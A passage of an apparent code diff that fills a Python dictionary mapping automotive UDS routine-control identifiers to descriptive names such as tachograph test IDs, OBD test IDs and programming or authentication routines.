+UDS_RC.routineControlIdentifiers[0x0147] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0148] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0149] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x014a] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x014b] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x014c] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x014d] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x014e] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x014f] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0150] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0151] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0152] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0153] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0154] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0155] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0156] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0157] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0158] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0159] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x015a] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x015b] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x015c] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x015d] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x015e] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x015f] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0160] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0161] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0162] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0163] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0164] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0165] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0166] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0167] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0168] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0169] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x016a] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x016b] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x016c] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x016d] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x016e] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x016f] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0170] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0171] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0172] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0173] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0174] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0175] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0176] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0177] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0178] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0179] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x017a] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x017b] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x017c] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x017d] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x017e] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x017f] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0180] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0181] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0182] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0183] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0184] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0185] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0186] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0187] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0188] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0189] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x018a] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x018b] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x018c] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x018d] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x018e] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x018f] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0190] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0191] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0192] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0193] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0194] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0195] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0196] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0197] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0198] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0199] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x019a] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x019b] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x019c] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x019d] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x019e] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x019f] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01a0] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01a1] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01a2] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01a3] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01a4] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01a5] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01a6] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01a7] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01a8] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01a9] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01aa] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01ab] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01ac] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01ad] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01ae] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01af] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01b0] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01b1] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01b2] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01b3] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01b4] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01b5] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01b6] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01b7] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01b8] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01b9] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01ba] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01bb] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01bc] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01bd] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01be] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01bf] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01c0] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01c1] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01c2] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01c3] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01c4] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01c5] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01c6] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01c7] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01c8] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01c9] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01ca] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01cb] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01cc] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01cd] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01ce] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01cf] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01d0] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01d1] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01d2] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01d3] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01d4] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01d5] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01d6] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01d7] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01d8] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01d9] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01da] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01db] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01dc] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01dd] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01de] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01df] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01e0] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01e1] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01e2] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01e3] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01e4] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01e5] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01e6] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01e7] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01e8] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01e9] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01ea] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01eb] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01ec] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01ed] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01ee] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01ef] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01f0] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01f1] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01f2] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01f3] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01f4] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01f5] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01f6] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01f7] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01f8] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01f9] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01fa] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01fb] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01fc] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01fd] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01fe] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x01ff] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0200] = "VCM_SVT" +UDS_RC.routineControlIdentifiers[0x0202] = "checkMemory" +UDS_RC.routineControlIdentifiers[0x0203] = "checkProgrammingPreCondition" +UDS_RC.routineControlIdentifiers[0x0204] = "readSWEProgrammingStatus" +UDS_RC.routineControlIdentifiers[0x0205] = "readSWEDevelopmentInfo" +UDS_RC.routineControlIdentifiers[0x0206] = "checkProgrammingPower" +UDS_RC.routineControlIdentifiers[0x0207] = "VCM_Generiere_SVT" +UDS_RC.routineControlIdentifiers[0x020b] = "Steuergerätetausch" +UDS_RC.routineControlIdentifiers[0x020c] = "KeyExchange" +UDS_RC.routineControlIdentifiers[0x020d] = "FingerprintExchange" +UDS_RC.routineControlIdentifiers[0x020e] = "InternalAuthentication" +UDS_RC.routineControlIdentifiers[0x020f] = "CyclicSignatureCheck" +UDS_RC.routineControlIdentifiers[0x0210] = "TeleServiceLogin" +UDS_RC.routineControlIdentifiers[0x0211] = "ExternalAuthentication" +UDS_RC.routineControlIdentifiers[0x0212] = "StoreTransportKeyList" +UDS_RC.routineControlIdentifiers[0x0213] = "InitSignalKeyDeployment" +UDS_RC.routineControlIdentifiers[0x0214] = "N10GetState" +UDS_RC.routineControlIdentifiers[0x0215] = "GetParameterN11" +UDS_RC.routineControlIdentifiers[0x0220] = "RequestDeleteSwPackage" +UDS_RC.routineControlIdentifiers[0x0230] = "ResetState" +UDS_RC.routineControlIdentifiers[0x0231] = "GetState" +UDS_RC.routineControlIdentifiers[0x0232] = "ResetStateFsCSM" +UDS_RC.routineControlIdentifiers[0x0233] = "GetParameterN11" +UDS_RC.routineControlIdentifiers[0x0234] = "ExternerInit" +UDS_RC.routineControlIdentifiers[0x02a5] = "RequestListEntry" +UDS_RC.routineControlIdentifiers[0x0f01] = "codingChecksum" +UDS_RC.routineControlIdentifiers[0x0f02] = "clearMemory" +UDS_RC.routineControlIdentifiers[0x0f04] = "selfTest" +UDS_RC.routineControlIdentifiers[0x0f05] = "powerDown" +UDS_RC.routineControlIdentifiers[0x0f06] = "clearDTCSecondaryMemory" +UDS_RC.routineControlIdentifiers[0x0f07] = "requestForAuthentication" +UDS_RC.routineControlIdentifiers[0x0f08] = "releaseAuthentication" +UDS_RC.routineControlIdentifiers[0x0f09] = "checkSignature" +UDS_RC.routineControlIdentifiers[0x0f0a] = "checkProgrammingStatus" +UDS_RC.routineControlIdentifiers[0x0f0b] = "ExecuteDiagnosticService" +UDS_RC.routineControlIdentifiers[0x0f0c] = "SetEnergyMode" # or controlEnergySavingMode # noqa E501 +UDS_RC.routineControlIdentifiers[0x0f0d] = "resetSystemFaultMessage" +UDS_RC.routineControlIdentifiers[0x0f0e] = "timeControlledPowerDown" +UDS_RC.routineControlIdentifiers[0x0f0f] = "disableCommunicationOverGateway" +UDS_RC.routineControlIdentifiers[0x0f1f] = "SwtRoutine" +UDS_RC.routineControlIdentifiers[0x1002] = "Individualdatenrettung" +UDS_RC.routineControlIdentifiers[0x1003] = "SetExtendedMode" +UDS_RC.routineControlIdentifiers[0x1007] = "MasterVIN" +UDS_RC.routineControlIdentifiers[0x100d] = "ActivateCodingMode" +UDS_RC.routineControlIdentifiers[0x100e] = "ActivateProgrammingMode" +UDS_RC.routineControlIdentifiers[0x100f] = "ActivateApplicationMode" +UDS_RC.routineControlIdentifiers[0x1010] = "SetDefaultBus" +UDS_RC.routineControlIdentifiers[0x1011] = "GetActualConfig" +UDS_RC.routineControlIdentifiers[0x1013] = "RequestListEntryGWTB" +UDS_RC.routineControlIdentifiers[0x1021] = "requestPreferredProtcol" +UDS_RC.routineControlIdentifiers[0x1022] = "checkConnection" +UDS_RC.routineControlIdentifiers[0x1024] = "ResetActivationlineLogical" +UDS_RC.routineControlIdentifiers[0x1042] = "EthernetARLTable" +UDS_RC.routineControlIdentifiers[0x1045] = "EthernetIPConfiguration" +UDS_RC.routineControlIdentifiers[0x104e] = "EthernetARLTableExtended" +UDS_RC.routineControlIdentifiers[0x4001] = "SetGWRouting" +UDS_RC.routineControlIdentifiers[0x4002] = "HDDDownload" +UDS_RC.routineControlIdentifiers[0x4007] = "updateMode" +UDS_RC.routineControlIdentifiers[0x4008] = "httpUpdate" +UDS_RC.routineControlIdentifiers[0x7000] = "ProcessingApplicationData" +UDS_RC.routineControlIdentifiers[0xa07c] = "RequestDeactivateHddSafeMode" +UDS_RC.routineControlIdentifiers[0xa0b2] = "RequestSteuernApixReinitMode" +UDS_RC.routineControlIdentifiers[0xab8f] = "setEngineAngle" +UDS_RC.routineControlIdentifiers[0xe000] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe001] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe002] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe003] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe004] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe005] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe006] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe007] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe008] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe009] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe00a] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe00b] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe00c] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe00d] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe00e] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe00f] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe010] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe011] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe012] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe013] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe014] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe015] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe016] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe017] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe018] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe019] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe01a] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe01b] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe01c] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe01d] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe01e] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe01f] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe020] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe021] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe022] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe023] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe024] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe025] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe026] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe027] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe028] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe029] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe02a] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe02b] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe02c] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe02d] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe02e] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe02f] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe030] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe031] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe032] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe033] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe034] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe035] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe036] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe037] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe038] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe039] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe03a] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe03b] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe03c] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe03d] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe03e] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe03f] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe040] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe041] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe042] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe043] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe044] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe045] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe046] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe047] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe048] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe049] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe04a] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe04b] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe04c] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe04d] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe04e] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe04f] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe050] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe051] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe052] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe053] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe054] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe055] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe056] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe057] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe058] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe059] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe05a] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe05b] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe05c] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe05d] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe05e] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe05f] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe060] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe061] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe062] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe063] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe064] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe065] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe066] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe067] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe068] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe069] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe06a] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe06b] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe06c] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe06d] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe06e] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe06f] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe070] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe071] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe072] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe073] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe074] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe075] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe076] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe077] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe078] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe079] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe07a] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe07b] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe07c] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe07d] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe07e] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe07f] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe080] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe081] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe082] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe083] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe084] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe085] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe086] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe087] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe088] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe089] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe08a] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe08b] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe08c] = "OBDTestIDs" +UDS_RC.routineControlIdentifiers[0xe08d] = "OBDTestIDs" 